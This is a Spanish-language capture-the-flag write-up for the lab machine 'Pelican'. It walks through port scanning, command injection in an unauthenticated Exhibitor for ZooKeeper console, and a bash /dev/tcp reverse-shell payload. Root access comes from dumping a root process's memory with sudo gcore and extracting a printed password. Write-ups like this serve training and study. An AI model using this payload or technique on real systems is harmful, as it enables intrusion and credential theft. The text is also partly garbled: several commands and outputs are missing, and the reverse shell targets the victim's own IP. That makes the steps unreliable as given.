Writeup: Máquina Pelican¶
1. Reconocimiento (Enumeración)¶
Comenzamos realizando un escaneo de puertos completo para identificar los servicios expuestos en la máquina víctima.
Escaneo con Nmap¶
Utilizamos nmap para escanear todos los puertos TCP (-p-) y ejecutar scripts de enumeración básicos junto con la detección de versiones.
Resultados del escaneo: * Puerto 22 & 2222 (SSH): Servicio de acceso remoto. * Puerto 139 & 445 (SMB): Samba corriendo en una versión Debian. * Puerto 631 (IPP): Servicio de impresión CUPS. * Puerto 2181 (Zookeeper): Servicio de coordinación. * Puerto 8080 (HTTP): Servidor web ejecutando "Exhibitor for ZooKeeper". * Puerto 8081 (Blackice-icecap): API REST de Zookeeper.
Análisis: El puerto 8080 es el vector más probable, ya que Exhibitor es una interfaz de gestión que a menudo tiene configuraciones inseguras y vulnerabilidades de inyección conocidas.
2. Explotación (Initial Foothold)¶
Investigando el servicio en el puerto 8080, encontramos una vulnerabilidad de Command Injection (RCE).
Vulnerabilidad: Exhibitor RCE¶
La interfaz permite configurar el entorno de Java (java.env) sin autenticación. Podemos inyectar comandos de sistema que se ejecutarán al recargar la configuración.
Pasos para la explotación:
1. Accedemos a http://192.168.111.98:8080/exhibitor/v1/ui/index.html.
2. Vamos a la pestaña Config -> java.env script.
3. Preparamos un listener local en nuestra máquina atacante:
java.env.
* Nota: Es crítico usar bash -c o bash -i explícitamente porque la shell por defecto (sh) en Debian es dash y no soporta redirecciones TCP.
**Payload:**
```bash
$(bash -i >& /dev/tcp/192.168.111.98/9001 0>&1)
```
- Hacemos clic en Commit para guardar y ejecutar.
Resultado: Recibimos una conexión inversa (Reverse Shell) como el usuario charles.
3. Enumeración Post-Explotación¶
Ya dentro del sistema, buscamos vectores para escalar privilegios.
Permisos Sudo¶
Comprobamos los permisos de sudo del usuario actual:
Salida:
Hallazgo Crítico: Tenemos permiso para ejecutar
/usr/bin/gcorecomo root sin contraseña. Esta herramienta genera volcados de memoria (core dumps) de procesos en ejecución.
Identificación de Objetivos¶
Buscamos procesos ejecutados por root que puedan contener credenciales en memoria (como gestores de contraseñas, servicios de autenticación, etc.).
Identificamos un proceso interesante (en este caso, un gestor de contraseñas o servicio similar) con el PID 490.4. Escalada de Privilegios (PrivEsc)¶
Usaremos gcore para leer la memoria del proceso root y extraer credenciales en texto plano.
1. Generar el Core Dump:
Esto guarda el archivocore.490 en nuestro directorio actual.
2. Extraer información:
Usamos strings para leer el archivo binario y filtrar por contenido legible:
ClogKingpinInning731.
3. Acceso Root: Usamos la contraseña encontrada para escalar a root.
Verificamos identidad:5. Loot (Banderas)¶
Buscamos en los directorios del usuario y root para encontrar las banderas correspondientes a cada usuario.
